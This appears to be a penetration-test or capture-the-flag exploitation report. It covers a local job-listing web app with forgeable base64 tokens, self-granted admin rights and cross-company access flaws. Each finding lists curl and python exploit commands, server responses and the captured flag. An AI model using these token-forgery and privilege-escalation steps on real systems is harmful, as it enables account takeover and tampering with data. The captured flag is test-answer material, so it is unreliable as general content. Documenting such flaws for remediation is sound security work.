# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-05: Complete Authentication Bypass via Token Forgery

**Summary:**
- **Vulnerable location:** Token validation mechanism at `/app/main.py:145-146` and token creation at `/app/main.py:40-41`
- **Overview:** The application uses simple base64 encoding for authentication tokens instead of cryptographic signatures, allowing attackers to forge valid tokens for any user without credentials
- **Impact:** Complete authentication bypass - attackers can access any account including admin accounts containing sensitive flag data without knowing passwords
- **Severity:** Critical

**Prerequisites:**
None - can be exploited from completely unauthenticated state

**Exploitation Steps:**

1. Identify target company ID (predictable sequential integers: 1, 2, 3...)
   - Company 2 is known to be an admin account from seed data

2. Generate forged token for target company:
```bash
python3 -c "import base64; print(base64.b64encode(b'2').decode())"
# Output: Mg==
```

3. Access target company's resources using forged token:
```bash
curl -X GET 'http://localhost:38803/company/2/jobs' \
  -H 'Cookie: access_token=Bearer Mg=='
```

**Proof of Impact:**

Successfully accessed company 2 (admin account) jobs without authentication, retrieving:
- Public job: "company2 Job 1"
- Private job titled "secret" containing: **flag{0d8ca439-1cc2-4de9-a83f-08182aede041}**

The response showed:
```html
<h2>Jobs for Company 2</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>company2 Job 1:company2 Job 1 Description</p>
    </li>
    <li class="list-group-item">
        <p>secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}</p>
    </li>
</ul>
```

**Notes:**
This vulnerability completely undermines all authentication controls. The token validation only checks if the base64-decoded value matches the URL parameter, but never verifies the token was legitimately issued by the server. Despite importing `jose.jwt` library and defining a `SECRET_KEY`, the application never uses cryptographic signing.

---

### AUTHZ-VULN-04: Vertical Privilege Escalation via Self-Elevation

**Summary:**
- **Vulnerable location:** Profile update endpoint at `/app/main.py:158`
- **Overview:** Any authenticated user can elevate themselves to administrator status by manipulating the `is_admin` parameter in profile update requests
- **Impact:** Regular users gain admin privileges, enabling access to private jobs containing CTF flags
- **Severity:** Critical

**Prerequisites:**
Valid authentication session (can be obtained via legitimate login or token forgery from AUTHZ-VULN-05)

**Exploitation Steps:**

1. Authenticate as regular user:
```bash
curl -X POST 'http://localhost:38803/token' \
  -d 'username=demo&password=demo'
# Receives cookie: access_token="Bearer MQ=="
```

2. Verify current non-admin status by checking jobs (should only see public jobs):
```bash
curl -X GET 'http://localhost:38803/company/1/jobs' \
  -H 'Cookie: access_token=Bearer MQ=='
# Shows only 1 public job (no private jobs visible)
```

3. Elevate privileges via profile update with `is_admin=1`:
```bash
curl -X POST 'http://localhost:38803/edit_profile/1' \
  -H 'Cookie: access_token=Bearer MQ==' \
  -d 'name=demo&is_admin=1'
```

4. Verify privilege escalation by accessing jobs again:
```bash
curl -X GET 'http://localhost:38803/company/1/jobs' \
  -H 'Cookie: access_token=Bearer MQ=='
# Now shows 2 jobs including private "secret" job with flag
```

**Proof of Impact:**

**Before privilege escalation:** Only 1 public job visible
```html
<li class="list-group-item">
    <p>demo Job 1:demo Job 1 Description</p>
</li>
```

**After privilege escalation:** 2 jobs visible including private job with flag
```html
<li class="list-group-item">
    <p>demo Job 1:demo Job 1 Description</p>
</li>
<li class="list-group-item">
    <p>secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}</p>
</li>
```

The profile update response confirmed successful elevation:
```html
<div class="alert alert-success" role="alert">
    Profile updated successfully
</div>
<select class="form-control" id="is_admin" name="is_admin">
    <option value="0">Regular</option>
    <option value="1" selected>Admin</option>
</select>
```

**Notes:**
The server blindly accepts the `is_admin` parameter from user input without any authorization check. The client-side HTML has a `disabled` attribute on the admin dropdown for non-admin users, but this provides zero server-side protection and is trivially bypassed by direct HTTP requests.

---

### AUTHZ-VULN-01: Horizontal IDOR - Unauthorized Access to Other Companies' Jobs

**Summary:**
- **Vulnerable location:** Token validation mechanism at `/app/main.py:145-146`
- **Overview:** By forging authentication tokens for other company IDs, attackers can access any company's job listings including private jobs for admin companies
- **Impact:** Complete breach of multi-tenant data isolation - attackers can enumerate and access all companies' job data
- **Severity:** High

**Prerequisites:**
Knowledge of base64 encoding (publicly documented standard)

**Exploitation Steps:**

1. Generate forged tokens for target companies:
```bash
# Token for company 1
python3 -c "import base64; print(base64.b64encode(b'1').decode())"
# Output: MQ==

# Token for company 3
python3 -c "import base64; print(base64.b64encode(b'3').decode())"
# Output: Mw==
```

2. Access company 3's jobs using forged token:
```bash
curl -X GET 'http://localhost:38803/company/3/jobs' \
  -H 'Cookie: access_token=Bearer Mw=='
```

3. Enumerate all companies systematically (1, 2, 3...) until receiving 404/unauthorized responses

**Proof of Impact:**

Successfully accessed company 3's jobs without authorization:
```html
<h2>Jobs for Company 3</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>company3 Job 1:company3 Job 1 Description</p>
    </li>
</ul>
```

Successfully accessed company 1's jobs (after earlier privilege escalation):
```html
<h2>Jobs for Company 1</h2>
<ul class="list-group">
    <li class="list-group-item">
        <p>demo Job 1:demo Job 1 Description</p>
    </li>
    <li class="list-group-item">
        <p>secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}</p>
    </li>
</ul>
```

**Notes:**
This combines the token forgery vulnerability (AUTHZ-VULN-05) with the jobs endpoint to demonstrate horizontal privilege escalation. The application correctly filters jobs by company_id, but the company_id parameter is controlled by the forged token, making the filtering ineffective.

---

### AUTHZ-VULN-02: Horizontal IDOR - Unauthorized Access to Other Companies' Profiles

**Summary:**
- **Vulnerable location:** Token validation at `/app/main.py:145-146` in edit_profile GET endpoint
- **Overview:** Forged tokens enable attackers to view any company's profile information including admin status
- **Impact:** Information disclosure revealing company names and privilege levels - enables targeted attacks
- **Severity:** Medium

**Prerequisites:**
Ability to forge tokens (via base64 encoding)

**Exploitation Steps:**

1. Generate forged token for target company:
```bash
python3 -c "import base64; print(base64.b64encode(b'2').decode())"
# Output: Mg==
```

2. Access target company's profile:
```bash
curl -X GET 'http://localhost:38803/edit_profile/2' \
  -H 'Cookie: access_token=Bearer Mg=='
```

**Proof of Impact:**

Successfully accessed company 2's profile, revealing:
- Company name: "company2"
- Admin status: Admin (selected option shows `value="1" selected`)

```html
<h2>Edit Profile</h2>
<form method="post" action="/edit_profile/2">
    <div class="form-group">
        <label for="name">Company Name</label>
        <input type="text" class="form-control" id="name" name="name" value="company2" required>
    </div>
    <div class="form-group">
        <label for="is_admin">Admin Status</label>
        <select class="form-control" id="is_admin" name="is_admin">
            <option value="0">Regular</option>
            <option value="1" selected>Admin</option>
        </select>
    </div>
</form>
```

**Notes:**
While less severe than write-based IDOR, this information disclosure enables attackers to identify high-value targets (admin companies) for further exploitation. It also confirms the existence and IDs of companies in the system.

---

### AUTHZ-VULN-03: Horizontal IDOR - Unauthorized Modification of Other Companies' Profiles

**Summary:**
- **Vulnerable location:** Token validation at `/app/main.py:145-146` and missing ownership check at line 158
- **Overview:** Attackers can modify any company's profile including their name and admin status using forged tokens
- **Impact:** Critical data integrity breach - ability to modify ANY company's privilege level and profile data
- **Severity:** Critical

**Prerequisites:**
Ability to forge tokens (via base64 encoding)

**Exploitation Steps:**

1. Generate forged token for target company:
```bash
python3 -c "import base64; print(base64.b64encode(b'3').decode())"
# Output: Mw==
```

2. Check current profile state:
```bash
curl -X GET 'http://localhost:38803/edit_profile/3' \
  -H 'Cookie: access_token=Bearer Mw=='
# Shows: name="company3", is_admin=Regular (not selected)
```

3. Modify victim's profile with malicious data:
```bash
curl -X POST 'http://localhost:38803/edit_profile/3' \
  -H 'Cookie: access_token=Bearer Mw==' \
  -d 'name=HACKED_COMPANY&is_admin=1'
```

4. Verify modification:
```bash
curl -X GET 'http://localhost:38803/edit_profile/3' \
  -H 'Cookie: access_token=Bearer Mw=='
# Shows: name="HACKED_COMPANY", is_admin=Admin (selected)
```

**Proof of Impact:**

**Before modification:**
```html
<input type="text" class="form-control" id="name" name="name" value="company3" required>
<select class="form-control" id="is_admin" name="is_admin" disabled>
    <option value="0" selected>Regular</option>
    <option value="1">Admin</option>
</select>
```

**After modification:**
```html
<div class="alert alert-success" role="alert">
    Profile updated successfully
</div>
<input type="text" class="form-control" id="name" name="name" value="HACKED_COMPANY" required>
<select class="form-control" id="is_admin" name="is_admin">
    <option value="0">Regular</option>
    <option value="1" selected>Admin</option>
</select>
```

Successfully changed:
- Company name from "company3" to "HACKED_COMPANY"
- Admin status from Regular to Admin

**Notes:**
This is the most severe horizontal IDOR as it enables write operations. Attackers can:
- Deface company profiles by changing names
- Elevate ANY company to admin status
- Potentially lock out legitimate users by changing critical data
- This combines horizontal IDOR (accessing other companies) with vertical escalation (modifying privilege levels)